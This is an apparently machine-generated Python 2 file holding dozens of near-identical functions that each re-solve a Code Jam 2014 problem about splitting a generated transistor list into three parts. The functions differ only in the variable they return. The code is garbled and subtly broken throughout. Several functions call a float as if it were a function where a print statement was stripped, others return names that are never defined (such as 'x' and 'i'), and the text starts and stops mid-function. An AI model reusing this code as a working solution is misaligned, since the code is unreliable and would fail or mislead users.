nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return i
def func_239648a9ce834812a8645f0c3d5eabb8(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_d0a66048f5b74043aed64c5a34035262(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_30a1264d38844f21aa0aecd28e2f8e8e(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_48a74235069347d3897b00cbfa774f28(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_865a7a7adaf34ed7a5100b34cdbda078(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_c449f98f68e1401096c5d024acf4d37c(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_0e8aafcbfaf74d20b89379909464dc51(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return x
def func_0e49e426fa984abdb8cd169b3d69b7f6(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_91ff7cd32d014deab2175700ac1ceb9a(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return N
def func_018c18d40e384754b39dcec4ace135dc(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return transistorsum
def func_489fe72b9489483fb11b14375aa96ef6(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return r
def func_9f7ef5cec31a4bd7980211b389c08223(infile, testcase):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_f8165cadaadd4f218b976da22cec8811():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
return infile
def func_0afbef775b7f43299026bbf879c99888():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
return n
def func_afdb32fdb2d6423e83cebdccd550cf89(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return currentmax
def func_f8f1916000dc418cb59a3b354a9e1179(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return first
def func_ac4c2bfe031f48c6b075177715b69d84(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return r
def func_b9b1285a356b40c38421575b27336b85(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return minimax
def func_f37ca45ca8ce4416a3b0661ffe344ba1(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return q
def func_08496745e9d6439cbbb1f30ec1a19ec5(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return nextfirstsum
def func_4c2a32d385ce4ee8b2686a13dd187ec9(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return transistorsum
def func_89ae2fcd459c4077875431684f9527f8(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return n
def func_239b3e8323bd48bc9359ec5479747edf(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return answer
def func_1a3c7d0fadef4587b221be32678ef540(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return p
def func_ff229c9884a945f0a0ff25909bd87d84(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return firstsum
def func_4dc824ab74bd420ea7f84f34ac759107(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return transistors
def func_38cc125a3bf3423d89d5f354cac7ffc1(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return testcase
def func_15ed5e36345f40a18102353e8aaadff2(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return s
def func_5020afdd258f459887a30e735586e09f(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return N
def func_d417d6b134c34f46941eedc17349739a(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return nextlastsum
def func_6aa52f65eb8f4107a4716bcb0bb9eb6a(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return last
def func_ea0547dc221b44dab0afe9dbfabba6bf(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return lastsum
def func_d0966f048e87411b92596d5ebfc000e8(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return x
def func_5f350182588f424cb2c897face501e33(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
return i
def func_8878d012af3c48dc8fe138eb78db38c3(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return s
def func_904c4336da9a44109215f8bbd45228b8(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return q
def func_af5cae604fd749e8a3daaf54004e08ae(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return p
def func_1c375d24d2fa4edd8bfe150451ef8704(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistorsum
def func_e6f17c656b7d48859bf01258140fd0c8(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistors
def func_e3beb717938948d3861fb899558032ea(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return currentmax
def func_2e355342e7e6423984f200a78d143cea(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return lastsum
def func_e7094e748602428c9e44778333bb6c35(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return firstsum
def func_fe2fd165728242ee98ccc826b8943f77(infile, n):
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
